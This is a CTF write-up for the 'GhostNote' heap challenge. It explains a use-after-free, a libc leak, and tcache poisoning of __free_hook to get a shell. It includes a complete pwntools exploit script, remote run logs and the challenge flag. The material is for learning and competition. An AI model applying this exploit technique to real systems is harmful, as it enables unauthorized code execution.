Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnHard

Ghostnote

CTF writeup for Ghostnote from Next Hunt

//GhostNote

Category: PWN  

Author: M0H1.T3L  

Description: A secure note-taking application that reuses memory for efficiency.

>1. Introduction

GhostNote is a classic heap exploitation challenge involving a memory corruption vulnerability in a Linux ELF binary. The "efficiency" hint in the description ("reuses memory") strongly suggests a Use-After-Free (UAF) vulnerability, specifically related to how freed chunks are handled.

The goal is to exploit this vulnerability to leak the Libc address (bypassing ASLR) and then gain arbitrary code execution to retrieve the flag.

>2. Analysis

Information Gathering

We start by analyzing the provided files.

  • Binary: chall (64-bit ELF, Dynamically Linked)

  • Library: libc.so.6 (GLIBC 2.31) & ld-linux-x86-64.so.2

Security Protections (checksec)

Arch:     amd64-64-little RELRO:    Full RELRO Stack:    Canary found NX:       NX enabled PIE:      PIE enabled

All standard protections are enabled. We cannot overwrite GOT entries (Full RELRO) and need to leak addresses to bypass PIE/ASLR.

Reverse Engineering

The binary provides a menu-driven interface:

  1.  Add Note: Allocates a chunk of user-specified size (malloc).

  2.  Delete Note: Frees a chunk (free).

  3.  Show Note: Prints the content of a chunk.

  4.  Edit Note: Modifies the content of a chunk.

>3. Vulnerability

The vulnerability is a Use-After-Free (UAF) in the delete_note function.

When a note is deleted, the memory is freed:

c

free(notes[idx]);

However, the pointer notes[idx] is not set to NULL.

This allows us to:

  1.  Show the freed chunk: If the chunk is in the Unsorted Bin, it will contain pointers to Libc (main_arena). Reading this leaks the Libc base address.

  2.  Edit the freed chunk: If the chunk is in Tcache, modifying the fd (forward) pointer allows us to point the next allocation to an arbitrary address (Tcache Poisoning).

>4. Exploitation Steps

Step 1: Leaking Libc (Unsorted Bin Attack)

To leak Libc, we need a chunk that falls into the Unsorted Bin when freed.

  1.  Allocate a chunk larger than the Tcache limit. In GLIBC 2.31, Tcache holds up to 7 chunks of sizes up to 0x410. So, a chunk of size 0x420 will bypass Tcache and go to the Unsorted Bin.

  2.  Allocate a "guard" chunk to prevent consolidation with the top chunk.

  3.  Free the 0x420 chunk.

  4.  Use the vulnerable show_note function to read the first 8 bytes of the freed chunk. These bytes contain the fd pointer, which points to main_arena + 96 in Libc.

  5.  Calculate libc_base = leak - offset.

Step 2: Tcache Poisoning (Arbitrary Write)

With the Libc address known, we can target __free_hook, a function pointer called by free. Overwriting it with system gives us a shell.

  1.  Allocate two chunks of size 0x60 (Chunks A and B).

  2.  Free B, then free A. Both go into the Tcache 0x60 bin.

  3.  Use edit_note on A (which is still accessible) to overwrite its fd pointer with the address of __free_hook.

  4.  Allocate a new chunk (returns A).

  5.  Allocate another chunk. The allocator follows the poisoned fd pointer and returns __free_hook.

  6.  Write the address of system to this new chunk.

Step 3: Triggering Shell

  1.  Create a new note containing the string /bin/sh.

  2.  Free this note.

  3.  free(ptr) triggers __free_hook(ptr), which is now system("/bin/sh").

>5. Exploitation Log

Local Success

We verified the exploit locally using the provided Libc.

bash

$ python3 exploit.py

[+] Libc Base: 0x7f...

[*] __free_hook: 0x7f...

[*] System: 0x7f...

uid=1000(noigel) gid=1000(noigel) ...

Remote Success

We ran the script against ctf.nexus-security.club:2808.

bash

$ python3 exploit.py ctf.nexus-security.club 2808 REMOTE

Output Details:

  • Leaked FD: 0x7fbec5810be0

  • Libc Base: 0x7fbec5624000

  • Shell: Successfully obtained.

Flag Found:

nexus{h3ap_u4f_t0_tcache_p0is0ning_is_fun}

>6. Solver Script (exploit.py)

python

#!/usr/bin/env python3

from pwn import *

  

# Set up the environment

exe = './chall'

libc_name = './libc.so.6'

ld_name = './ld-linux-x86-64.so.2'

  

context.binary = elf = ELF(exe)

libc = ELF(libc_name)

context.log_level = 'debug'

  

# Define how to run the binary

def start(argv=[], *a, **kw):

    if args.GDB:

        return gdb.debug([ld_name, '--library-path', '.', exe] + argv, gdbscript=gdbscript, *a, **kw)

    elif args.REMOTE:

        return remote(sys.argv[1], int(sys.argv[2]))

    else:

        return process([ld_name, '--library-path', '.', exe] + argv, *a, **kw)

  

gdbscript = '''

continue

'''

  

io = start()

  

def add_note(idx, size, content):

    io.sendlineafter(b'> ', b'1')

    io.sendlineafter(b'Index', str(idx).encode())

    io.sendlineafter(b'Size', str(size).encode())

    io.sendafter(b'Content', content)

  

def delete_note(idx):

    io.sendlineafter(b'> ', b'2')

    io.sendlineafter(b'Index', str(idx).encode())

  

def show_note(idx):

    io.sendlineafter(b'> ', b'3')

    io.sendlineafter(b'Index', str(idx).encode())

    io.recvuntil(b'Data: ')

    return io.recv(8) # Read 8 bytes for leak

  

def edit_note(idx, content):

    io.sendlineafter(b'> ', b'4')

    io.sendlineafter(b'Index', str(idx).encode())

    io.sendafter(b'Content', content)

  

# --- Exploit Logic ---

  

log.info("Starting exploit...")

  

# 1. Leak Libc

# Allocate 0x420 to go to Unsorted Bin

add_note(0, 0x420, b'A' * 0x420)

add_note(1, 0x20, b'Guard'.ljust(0x20, b'\x00'))

  

# Free to Unsorted Bin

delete_note(0)

  

# UAF Read

# Note 0 is still readable. It contains FD and BK pointers.

leak_data = show_note(0)

  

fd_leak = u64(leak_data)

log.info(f"Leaked FD: {hex(fd_leak)}")

  

# Calculate Libc Base

libc_base = fd_leak - (libc.sym['__malloc_hook'] + 112)

libc.address = libc_base

log.success(f"Libc Base: {hex(libc.address)}")

log.info(f"__free_hook: {hex(libc.sym['__free_hook'])}")

log.info(f"System: {hex(libc.sym['system'])}")

  

# 2. Tcache Poisoning

# Target: __free_hook

# Manual sync to avoid buffering issues

io.recvuntil(b'> ')

io.sendline(b'1')

io.sendlineafter(b'Index', b'2')

io.sendlineafter(b'Size', str(0x60).encode())

io.sendafter(b'Content', b'X'*0x60)

  

add_note(3, 0x60, b'Y'*0x60)

  

delete_note(3)

delete_note(2)

  

# Overwrite FD of chunk 2

edit_note(2, p64(libc.sym['__free_hook']).ljust(0x60, b'\x00'))

  

# Allocate to consume chunks

add_note(4, 0x60, b'/bin/sh\x00'.ljust(0x60, b'\x00'))

  

# Next alloc will return __free_hook.

add_note(5, 0x60, p64(libc.sym['system']).ljust(0x60, b'\x00')) # Writes system to __free_hook.

  

# 3. Trigger Shell

# Now free a chunk containing "/bin/sh".

delete_note(4)

  

# io.interactive() replacement for automation

io.sendline(b'id')

io.sendline(b'ls -la')

io.sendline(b'cat flag')

io.sendline(b'cat flag.txt')

io.sendline(b'exit')

try:

    print(io.recvall(timeout=5).decode(errors='ignore'))

except Exception as e:

    print(e)